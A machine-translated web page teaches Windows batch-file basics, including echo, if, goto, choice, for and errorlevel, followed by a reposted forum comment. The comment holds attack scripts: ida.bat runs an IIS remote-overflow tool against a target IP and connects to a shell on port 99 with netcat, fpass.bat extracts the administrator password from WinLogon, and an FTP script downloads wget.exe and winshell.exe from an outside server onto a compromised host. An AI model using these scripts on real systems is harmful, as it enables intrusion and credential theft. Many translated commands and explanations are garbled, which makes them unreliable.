C # Call The. bat file

Source: Internet
Author: User
Tags eol

Use namespace: using System. Diagnostics;
System. Diagnostics. Process. Start (Server. MapPath ("ah. bat "));
========================================================== ==================================
Files with the extension bat (or cmd in nt/2000/xp/2003) are batch files.
First, the batch file is a text file, and each line of this file is a DOS command (most of the time it is like the command line we execute at the DOS prompt ), you can use any text file editing tool such as Edit in DOS or notepad in Windows to create and modify batch files.
Second, the batch processing file is a simple program that can control the command running process through the conditional statement (if) and flow control statement (goto, you can also use the for statement to execute a command cyclically in batches. Of course, the programming capability of batch processing files is very limited than that of C language and other programming statements, and it is also very nonstandard. The program statements for batch processing are several DOS commands (including internal commands and external commands). The batch processing capability depends on the commands you use.
Third, each written batch processing file is equivalent to a DOS external command. You can put the directory in your DOS search path) so that it can run in any location. A good habit is to create a bat or batch directory (for example, C: \ BATCH) on the hard disk, and then put all the batch files you have compiled into this directory, in this way, you only need to set c: \ batch in the path, and you can run all your batch processing programs at any location.
Fourth, in DOS and Win9x/Me systems, C: AUTOEXEC under the root directory. BAT batch files are automatically run batch files. Each time the system starts, the files are automatically run. You can put the commands to be run every time the system starts, for example, you can set the search path, call the mouse driver and disk cache, and set system environment variables. The following is an example of autoexec. bat running on Windows 98:
@ ECHO OFF
Path c: \ WINDOWS; C: \ WINDOWS \ COMMAND; C: \ UCDOS; C: \ DOSTools; C: \ SYSTOOLS; C: \ WINTOOLS; C: \ BATCH
Lh smartdrv. EXE/X
Lh doskey. COM/INSERT
Lh ctmouse. EXE
Set temp = D: \ TEMP
Set tmp = D: \ TEMP
Functions of Batch Processing
In short, batch processing is used to automatically execute multiple commands continuously.
Here is the simplest application: When the wps software is started, it must be executed every time (> the previous content indicates the DOS prompt ):
C: \> cd wps
C: \ WPS> spdos
C: \ WPS> py
C: \ WPS> wbx
C: \ WPS> wps
If you perform this operation before Using WPS every time, do you think it is very troublesome?
Now, with batch processing, you can simplify these troublesome operations. First, we compile a runwps. bat batch processing file with the following content:
@ Echo off
C:
Cd \ wps
Spdos
Py
Wbx
Wps
Cd \
In the future, every time we enter wps, we only need to run the runwps batch file.
Common commands
Echo, @, call, pause, and rem (TIPS: Use: instead of rem) are several of the most common commands for batch file processing. We started from them.
Echo indicates the characters after this command
Echo off indicates that after this statement, all running commands do not display the command line itself.
@ Is similar to echo off, but it is added at the beginning of each command line, indicating that the command line of this line is not displayed at run time (only the current line can be affected ).
Call calls another batch file (if you directly call another batch file without calling it, you will not be able to return the current file and execute subsequent commands of the current file after the batch file is executed ).
Running pause will pause the execution of batch processing and display the prompt Press any key to continue... on the screen, waiting for the user to Press any key to continue
Rem indicates that the character after this command is interpreted as a line (comment). If it is not executed, it is only used for future reference (equivalent to a comment in the program ).
Example 1: edit. bat file, enter the following content and save the disk as c: \. bat, after executing the batch processing file, you can: write all the files in the root directory into a.txt, start UCDOS, enter WPS and other functions.
The content of the batch file is: Command comment:
@ Echo off does not display subsequent command lines and current command lines
Dir c: \ *. *> a.txt: Write the c-drive file into a.txt.
Call c: \ ucdos. bat call ucdos
Echo Hello show "hello"
Pause and wait for the button to continue
Rem prepare to run wps Note: Prepare to run wps
Cd ucdos enters the ucdos directory
Wps running wps
Batch File Parameters
The batch file can also use parameters (equivalent to the command line parameters of the doscommand) like C functions, which requires a parameter identifier "% ".
% [1-9] indicates a parameter. A parameter is a string separated by spaces (or tabs) after the file name when a batch file is run. Variables can be changed from % 0 to % 9.% 0 indicates the Batch Processing Command itself. Other parameter strings are represented in the order of % 1 to % 9.
Example 2: C: the root directory contains a batch of processing files named f. bat with the following content:
@ Echo off
Format % 1
If C: \> f:
When f. bat is executed, % 1 indicates a:. In this way, format % 1 is equivalent to format a:. Therefore, the preceding Command actually runs format:
Example 3: C: the name of the processing file under the root directory is t. bat, and the content is:
@ Echo off
Type % 1
Type % 2
Then run C: \> t a.txt B .txt
% 1: paia.txt
% 2: Invalid B .txt
The following command displays the.txt and B .txt files in sequence.
Special commands
If goto choice for is a relatively advanced command in the batch processing file. if you are familiar with these commands, you are an expert in batch processing files.
1. if is a condition statement used to determine whether the specified conditions are met and then decide to execute different commands. There are three formats:
1. if [not] "parameter" = "string" command to be executed
If the parameter is equal to the string specified by (not indicates unequal, the same below), the condition is true. Run the command; otherwise, run the next sentence.
Example: if "% 1" = "a" format:
2. if [not] exist [path \] command to be executed in the file name
If a specified file exists, the condition is true. Run the command. Otherwise, run the next sentence.
For example, if exist c: \ config. sys type c: \ config. sys
Indicates that if the c: \ config. sys file exists, its content is displayed.
3. if errorlevel <number> command to be executed
Many DOS Programs return a numeric value to indicate the result (or status) of the program running after the execution ends. The if errorlevel command can be used to determine the return value of the program, different commands are executed based on different return values (the return values must be sorted in ascending order ). If the return value is equal to the specified number, the condition is true. Run the command. Otherwise, run the next sentence.
For example, if errorlevel 2 goto x2
2. When the goto batch processing file runs here, it will jump to the label specified by goto (label, which is defined by the standard string). The goto statement is generally used with the if statement, execute different command groups according to different conditions.
For example:
Goto end
: End
Echo this is the end
The label is defined by ": string". The row where the label is located is not executed.
3. choice uses this command to allow the user to enter a character (used for selection), and return different errorlevels based on the user's selection, and then works with if errorlevel, run different commands according to your choice.
Note: choice commands are external commands provided by DOS or Windows. the syntax of choice commands of different versions is slightly different. Use choice /? View usage.
Choice command syntax (this syntax is the syntax of the choice command in Windows 2003, the syntax of choice in other versions is similar to this ):
CHOICE [/C choices] [/N] [/CS] [/T timeout/D choice] [/M text]
Description:
This tool allows you to select a project from the selection list and return the index of the selected project.
Parameter List:
/C choices specifies the list of options to be created. The default list is "YN ".
/N hide the Option List at the prompt. The preceding message is displayed,
The option is still enabled.
/CS allows you to select the case sensitivity option. By default, this tool
It is case-insensitive.
/T timeout specifies the number of seconds before the default value is set. The acceptable value is from 0.
Up to 9999. If 0 is specified, there will be no pause. the default option is
Select.
/D choice: Specify the default option after nnnn seconds. The character must be in/C
You must specify the nnnn with/T.
/M text specifies the message to be displayed before the prompt. If not specified, the tool only
A prompt is displayed.
/? Displays help messages.
Note:
The ERRORLEVEL environment variable is set to the key index selected from the selected set. The first option to be listed
Returns 1, returns 2, and so on. If the key you press is not a valid choice,
The tool generates a warning. If the tool detects an error, it returns the 255
ERRORLEVEL value. If you press Ctrl + Break or Ctrl + C, the tool returns 0
The ERRORLEVEL value. When the ERRORLEVEL parameter is used in a batch program
Sort in sequence.
Example:
CHOICE /?
For CHOICE/c ync/M ", Press Y, N, or C. "
CHOICE/T 10/C ync/CS/D y
Select a for CHOICE/C AB/M "option 1 and B for option 2. "
CHOICE/C AB/N/M "option 1 select a, option 2 select B. "
If I run the command: CHOICE/c ync/M "OK, Press Y, N, or cancel to press C. "
The screen displays:
Press Y to confirm, N to confirm, or C to cancel. [Y, N, C]?
For example, the content of test. bat is as follows (NOTE: When determining the return value using if errorlevel, sort the returned values from high to low ):
@ Echo off
Choice/C dimethyl/M "defrag, mem, end"
If errorlevel 3 goto end
If errorlevel 2 goto mem
If errotlevel 1 goto defrag
: Defrag
C: \ dos \ defrag
Goto end
: Mem
Mem
Goto end
: End
Echo good bye
After this batch is run, "defrag, mem, end [D, M, E]?" is displayed. The user can select d m e, and then the if statement makes a judgment based on the user's choice. d indicates the program segment with the execution label as defrag, and m indicates the program segment with the execution label as mem, e indicates the program segment whose execution label is "end". Each program segment finally jumps the program to the end label with "goto end", and the program displays "good bye". The batch processing is completed.
4. The for loop command will execute the same command multiple times as long as the conditions are met.
Syntax:
Execute a specific command on each file in a group of files.
FOR % variable IN (set) DO command [command-parameters]
% Variable specifies a single letter replaceable parameter.
(Set) specifies one or more files. Wildcard characters can be used.
Command specifies the command executed on each file.
Command-parameters
Specify parameters or command line switches for specific commands.
For example, a batch file contains one row:
For % c in (*. bat *. txt) do type % c
The command line displays the contents of all files with the bat and txt extensions in the current directory.
Batch Processing example
1. IF-EXIST
1)
First, use NotePad to create a test1.bat batch file in C: \. The content of the file is as follows:
@ Echo off
If exist \ AUTOEXEC. bat type \ AUTOEXEC. BAT
If not exist \ AUTOEXEC. bat echo \ AUTOEXEC. BAT does not exist
Then run it:
C: \> TEST1.BAT
If the C: \ AUTOEXEC. BAT file exists, its content will be displayed. If it does not exist, the batch processing will prompt you that the file does not exist.
2)
Create another test2.bat file with the following content:
@ ECHO OFF
If exist \ % 1 TYPE \ % 1
If not exist \ % 1 ECHO \ % 1 does not exist
Run:
C: \> TEST2 AUTOEXEC. BAT
The command runs the same result as above.
Note:
(1) if exist is used to test whether a file exists. The format is
If exist [path + file name] command
(2) % 1 in the test2.bat file is a parameter. DOS allows passing nine batch parameter information to the batch processing file, which is % 1 ~ % 9 (% 0 indicates the test2 command itself), which is a bit like the relationship between real parameters and parameters in programming. % 1 is the form parameter, and AUTOEXEC. BAT is the real parameter.
3) create a file named TEST3.BAT with the following content:
@ Echo off
IF "% 1" = "A" ECHO XIAO
IF "% 2" = "B" ECHO TIAN
IF "% 3" = "C" ECHO XIN
If you run:
C: \> TEST3 A B C
The screen displays:
XIAO
TIAN
XIN
If you run:
C: \> TEST3 A B
Displayed on the screen
XIAO
TIAN
During the command execution, DOS will specify an empty string to the parameter % 3.
2. IF-ERRORLEVEL
Create TEST4.BAT with the following content:
@ ECHO OFF
Xcopy c: \ AUTOEXEC. bat d: if errorlevel 1 ECHO file copy failed
If errorlevel 0 ECHO, the file is successfully copied.
Then execute the file:
C: \> TEST4
If the file is successfully copied, the screen displays "successfully copied file"; otherwise, the screen displays "file copy failed ".
If errorlevel is used to test the return value of the previous DOS command. Note that it is only the return value of the previous command, and the return value must be determined in order from large to small.
Therefore, the following batch file is incorrect:
@ ECHO OFF
Xcopy c: \ AUTOEXEC. bat d :\
If errorlevel 0 ECHO, the file is successfully copied.
If errorlevel 1 ECHO does not find the copy object
If errorlevel 2 ECHO, the user uses ctrl-c to stop the copy operation.
If errorlevel 3 ECHO preset Error Blocking file copy operation
If errorlevel 4 ECHO disk write error during copy process
Whether the copy is successful or not, the following:
Copy file not found
You can use ctrl-c to stop the copy operation.
Preset errors prevent file copy operations
An error occurred while writing the disk during the copy process.
Are displayed.
The return values of several common commands and their meanings are as follows:
Backup
0 successfully backed up
1 backup file not found
2. File Sharing conflicts prevent backup from being completed
3. Use ctrl-c to stop the backup.
4. the backup operation is aborted due to a fatal error.
Diskcomp
0 disks are the same
1 disk is different
2. You can use ctrl-c to stop the comparison operation.
3. The comparison operation is aborted due to a fatal error.
4 preset error abort comparison
Diskcopy
0 disk copy operation successful
1 non-fatal disk read/write error
2. You can use ctrl-c to end the copy operation.
3. the disk copy is aborted due to a fatal processing error.
4. The copy operation is blocked due to a preset error.
Format
0: formatted successfully.
3. Use ctrl-c to stop formatting.
4. The format is aborted due to a fatal processing error.
5. When "proceed with format (y/n)?" is displayed )?" End with user input n
Xcopy
0 successfully copied the file
1 copy file not found
2. You can use ctrl-c to stop the copy operation.
4. preset errors prevent file copy operations
5. An error occurred while writing the disk during the copy process.
3. IF STRING1 = STRING2
Create TEST5.BAT. The file content is as follows:
@ Echo off
IF "% 1" = "A" formAT:
Run:
C: \> TEST5
Whether to format the: disk is displayed on the screen.
Note: To prevent the parameter from being empty, double quotation marks (or other symbols) are generally used to enclose the string.
For example, if [% 1] = [A] Or if % 1 * = *
5. GOTO
Create TEST6.BAT. The file content is as follows:
@ ECHO OFF
If exist c: \ AUTOEXEC. bat goto _ COPY
GOTO _ DONE
: _ COPY
Copy c: \ AUTOEXEC. bat d :\
: _ DONE
Note:
(1) The colon Before the label is an ASCII character ":", there must be no space between the colon and the label.
(2) The naming rules for labels are the same as those for file names.
(3) DOS supports a maximum of eight characters. When two labels cannot be distinguished, the system redirects to the nearest one.
6.
Create C: \ TEST7.BAT. The file content is as follows:
@ ECHO OFF
FOR % c in (*. BAT *. TXT *. SYS) do type % C
Run:
C:> TEST7
After the command is executed, all files with the extension BAT, TXT, and SYS in the C: root directory are displayed on the screen (excluding hidden files ).
____________________________________________________________________________________________________
[Package download] [reference this article] [comment] [resend this article] [close the window]
Related Comments of this article:
This article has 6 related comments as follows: (click here to view the Forum)
--------------------------------------------------------------------------------
Bluekylin was published:
BAT file batch processing in win2000 Command Line Mode
 
--------------------------------------------
Article Structure
1. Help information for all built-in commands
2. Concept of Environment Variables
3. built-in special symbols (avoid using them in the middle)
4. Simple Batch File Concept
5. Appendix 1 tmp.txt
6. Appendix 2 sample. bat
######################################## ##############################
1. Help information for all built-in commands
######################################## ##############################
Ver
Cmd /?
Set /?
Rem /?
If /?
Echo /?
Goto /?
For /?
Shift /?
Call /?
Other frequently-used commands
Type /?
Find /?
Findstr /?
Copy /?
______________________________________________________________________
The following will output all the help above to a file
Echo ver> tmp.txt
Ver> tmp.txt
Echo cmd /? > Tmp.txt
Cmd /? > Tmp.txt
Echo rem /? > Tmp.txt
Rem /? > Tmp.txt
Echo if /? > Tmp.txt
If /? > Tmp.txt
Echo goto /? > Tmp.txt
Goto /? > Tmp.txt
Echo /? > Tmp.txt
For /? > Tmp.txt
Echo shift /? > Tmp.txt
Shift /? > Tmp.txt
Echo call /? > Tmp.txt
Call /? > Tmp.txt
Echo type /? > Tmp.txt
Type /? > Tmp.txt
Echo find /? > Tmp.txt
Find /? > Tmp.txt
Echo findstr /? > Tmp.txt
Findstr /? > Tmp.txt
Echo copy /? > Tmp.txt
Copy /? > Tmp.txt
Type tmp.txt
______________________________________________________
######################################## ##############################
2. Concept of Environment Variables
######################################## ##############################
_____________________________________________________________________________
C: \ Program Files> set
ALLUSERSPROFILE = C: \ Documents ents and Settings \ All Users
CommonProgramFiles = C: \ Program Files \ Common Files
COMPUTERNAME = FIRST
ComSpec = C: \ WINNT \ system32 \ cmd.exe
NUMBER_OF_PROCESSORS = 1
OS = Windows_NT
Os2LibPath = C: \ WINNT \ system32 \ os2 \ dll;
Path = C: \ WINNT \ system32; C: \ WINNT \ system32 \ WBEM
PATHEXT =. COM;. EXE;. BAT;. CMD;. VBS;. VBE;. JS;. JSE;. WSF;. WSH
PROCESSOR_ARCHITECTURE = x86
PROCESSOR_IDENTIFIER = x86 Family 6 Model 6 Stepping 5, GenuineIntel
PROCESSOR_LEVEL = 6
PROCESSOR_REVISION = 0605
ProgramFiles = C: \ Program Files
PROMPT = $ P $ G
SystemDrive = C:
SystemRoot = C: \ WINNT
TEMP = C: \ WINNT \ TEMP
TMP = C: \ WINNT \ TEMP
USERPROFILE = C: \ Documents ents and Settings \ Default User
Windir = C: \ WINNT
_____________________________________________________________________________
Path: indicates the search path of the executable program. I suggest you copy your program
% Windir % \ system32 \. In this directory, it is generally automatically searched.
Syntax: copy mychenxu.exe % windir % \ system32 \.
Ease of use (.)
Use double quotation marks for environment variables (English mode, half-width)
% Windir % variable
% Windir % quadratic variable reference.
We also use
% Temp % temporary file directory
% Windir % SYSTEM directory
% Errorlevel % exit code
Output the file to the temporary file directory, which makes the current directory clean and tidy.
For parameters with spaces, you should learn to use double quotation marks ("") to indicate operations on the porgram file folder, for example
C: \> dir p *
C: \ directory
2000-09-02 2,164 PDOS. DEF
<DIR> Program Files
1 file, 2,164 bytes
1 directory, 1,505,997,824 available bytes
C: \> cd pro *
C: \ Program Files>
C: \>
C: \> cd "Program Files"
C: \ Program Files>
######################################## ##############################
3. built-in special symbols (avoid using them in the middle)
######################################## ##############################
Microsoft has the following built-in characters which cannot be used between the created file names.
Con nul aux \/| & amp; ^ & gt; <*
You can use most characters as variable values, including white space. if you use the special characters <,>, |, &, or ^, you must precede them with the escape character (^) or quotation marks. if you use quotation marks, they are stored as part of the value because everything following the equal sign is taken as the value. consider the following examples:
(Either you use ^ as the leading character or you only use double quotation marks)
To create the variable value new & name, type:
Set varname = new ^ & name
To create the variable value "new & name", type:
Set varname = "new & name"
The ampersand (&), pipe (|), and parentheses () are special characters that must be preceded by the escape character (^) or quotation marks when you pass them as arguments.
Find "Pacific Rim" <trade.txt> nwtrade.txt
If exist filename. (del filename.) ELSE echo filename. missing
> Create an object
> Append to a file
@ Prefix character. It indicates that the line is not displayed in cmd during execution. You can use echo off to disable display.
^ The leading character of the special symbol (> <&). The first character only displays the aaa second output file bbb
Echo 123456 ^> aaa
Echo 1231231> bbb
() Include commands
(Echo aa & echo bb)
, Which is the same as the default delimiter of space.
; Annotation, indicating that it is followed by Annotation
: Label Function
| MPs queue operations
& Usage: The first command & the second command [& the third command...]
This method can be used to execute multiple commands at the same time, regardless of whether the command is successfully executed.
Dir c: \ *. exe & dir d: \ *. exe & dir e: \ *. exe
& Usage: The first command & the second command [& the third command...]
When an erroneous command is executed, the subsequent commands will not be executed. If no error occurs, all commands will be executed;
| Usage: The First Command | the second command [| the third command...]
When a correct command is executed, the subsequent commands are not executed. If no correct command is displayed, all commands are executed;
Common syntax format
IF [NOT] ERRORLEVEL number command para1 para2
IF [NOT] string1 = string2 command para1 para2
IF [NOT] EXIST filename command para1 para2
If exist filename command para1 para2
If not exist filename command para1 para2
IF "% 1" = "" goto END
IF "% 1" = "net" goto NET
If not "% 2" = "net" goto OTHER
If errorlevel 1 command para1 para2
If not errorlevel 1 command para1 para2
FOR/L % I IN (start, step, end) DO command [command-parameters] % I
FOR/F "eol =; tokens = 2, 3 * delims =," % I in (myfile.txt) do echo % I % j % k
The ijklmnopq parameters are obtained in alphabetical order.
Eol = c-refers to the end of a line comment character (just one)
Skip = n-indicates the number of rows ignored at the beginning of the file.
Delims = xxx-refers to the delimiter set. This replaces the default delimiter set of spaces and the hop key.
######################################## ##############################
4. Simple Batch File Concept
######################################## ##############################
Echo This is test> a.txt
Type a.txt
Echo This is test 11111> a.txt
Type a.txt
Echo This is test 22222> a.txt
Type a.txt
The second echo is append.
The third echojob re-creates a.txt
Netstat-n | find "3389"
This will list the ip addresses of all users connected to 3389.
________________ Test. bat ___________________________________________________
@ Echo please care
Echo plese care 1111
Echo plese care 2222
Echo plese care 3333
@ Echo please care
@ Echo plese care 1111
@ Echo plese care 2222
@ Echo plese care 3333
Rem does not display the comment statement. This row is displayed.
@ Rem do not display the comment statement. This row is not displayed.
@ If exist % windir % \ system32 \ find.exe (echo Find find.exe !!!) Else (echo ERROR: Not find find.exe)
@ If exist % windir % \ system32 \ fina.exe (echo Find fina.exe !!!) Else (echo ERROR: Not find fina.exe)
___________________________________________________________________________
In the following example, a specific idahack program is ida remote overflow. It should be very simple.
___________________ Ida. bat _________________________________________________
@ Rem ver 1.0
@ If NOT exist % windir % \ system32 \ idahack.exe echo "ERROR: dont find idahack.exe"
@ If NOT exist % windir % \ system32 \ nc.exe echo "ERROR: dont find nc.exe"
@ If "% 1" = "" goto USAGE
@ If NOT "% 2" = "" goto SP2
: Start
@ Echo Now start...
@ Ping % 1
@ Echo chinese win2k: 1 sp1: 2 sp2: 3
Idahack.exe % 1 80 1 99> % temp % \ _ tmp
@ Echo "prog exit code [% errorlevel %] idahack.exe"
@ Type % temp % \ _ tmp
@ Find "good luck :)" % temp % \ _ tmp
@ Echo "prog exit code [% errorlevel %] find [goog luck]"
@ If NOT errorlevel 1 nc.exe % 1 99
@ Goto END
: SP2
@ Idahack.exe % 1 80% 2 99% temp % \ _ tmp
@ Type % temp % \ _ tmp
@ Find "good luck :)" % temp % \ _ tmp
@ If NOT errorlevel 1 nc.exe % 1 99
@ Goto END
: USAGE
@ Echo Example: ida. bat IP
@ Echo Example: ida. bat IP (2, 3)
: END
_________________ Ida. bat _ END _________________________________
Next we will use the second file to obtain the administrator password.
Most people say they cannot get it. In fact, they did not enter the correct information.
_______________________ Fpass. bat ____________________________________________
@ Rem ver 1.0
@ If NOT exist % windir % \ system32 \ findpass.exe echo "ERROR: dont find findpass.exe"
@ If NOT exist % windir % \ system32 \ pulist.exe echo "ERROR: dont find pulist.exe"
@ Echo start ....
@ Echo ____________________________________
@ If "% 1" = "" goto USAGE
@ Findpass.exe % 1% 2% 3> % temp % \ _ findpass.txt
@ Echo "prog exit code [% errorlevel %] findpass.exe"
@ Type % temp % \ _ findpass.txt
@ Echo ________________________________ Here _ pass★★★★★★★★
@ Ipconfig/all> % temp % \ _ findpass.txt
@ Goto END
: USAGE
@ Pulist.exe> % temp % \ _ pass.txt
@ Findstr.exe/I "WINLOGON explorer internat" % temp % \ _ pass.txt
@ Echo "Example: fpass. bat % 1% 2% 3% 4 !!! "
@ Echo "Usage: findpass.exe DomainName UserName PID-of-WinLogon"
: END
@ Echo "fpass. bat % COMPUTERNAME % USERNAME % administrator"
@ Echo "fpass. bat end [% errorlevel %]! "
_________________ Fpass. bat ___ END ___________________________________________________________
Another is that you have logged on to a remote host through telnet. How to upload files (win)
Enter the following items in the window in sequence. Of course, you can also copy all. Ctrl + V in the past. Then wait !!
Echo open 210.64.x.4 3396> w
Echo read> w
Echo read> w
Echo cd winnt> w
Echo binary> w
Echo pwd> w
Echo get wget.exe> w
Echo get winshell.exe> w
Echo get any.exe> w
Echo quit> w
Ftp-s: w

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.